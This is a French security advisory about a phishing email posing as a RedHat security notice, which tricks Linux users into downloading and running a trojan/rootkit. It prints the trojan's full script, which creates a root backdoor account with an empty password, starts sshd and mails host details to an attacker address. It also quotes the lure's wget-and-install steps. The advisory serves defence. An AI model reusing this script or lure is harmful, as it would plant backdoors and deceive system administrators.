|
Nous recommandons aux administrateurs et aux utilisateurs (Linux) de vérifier l'authenticité des messages reçus, en se référant aux signatures GPG intégrées à l'email et aux fichiers, avant d'installer ces derniers. [Rappel : Quant aux correctifs Microsoft Windows, reçus par email, ils ne doivent en aucun cas être téléchargés ou installés].
Analyse Technique :
Une fois exécuté ce Trojan/Rootkit :
- Ajoute l'utilisateur "bash" et un mot de passe nul.
- Collecte l'adresse IP et l'uptime
- Démarre sshd
- Envoie ces informations à l'adresse mail : root@add**b**in.com
Logs :
echo "Inca un root frate belea: " >> /tmp/mama
adduser -g 0 -u 0 -o bash >> /tmp/mama
passwd -d bash >> /tmp/mama
ifconfig >> /tmp/mama
uname -a >> /tmp/mama
uptime >> /tmp/mama
sshd >> /tmp/mama
echo "user bash stii tu" >> /tmp/mama
cat /tmp/mama | mail -s "Inca o roata" root@add**b**in.com >> /dev/null
rm -rf /tmp/mama
Contenu du fake email :
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT ed.
The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:
* First download the patch from the Security RedHat mirror:
wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst
Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
Par
|
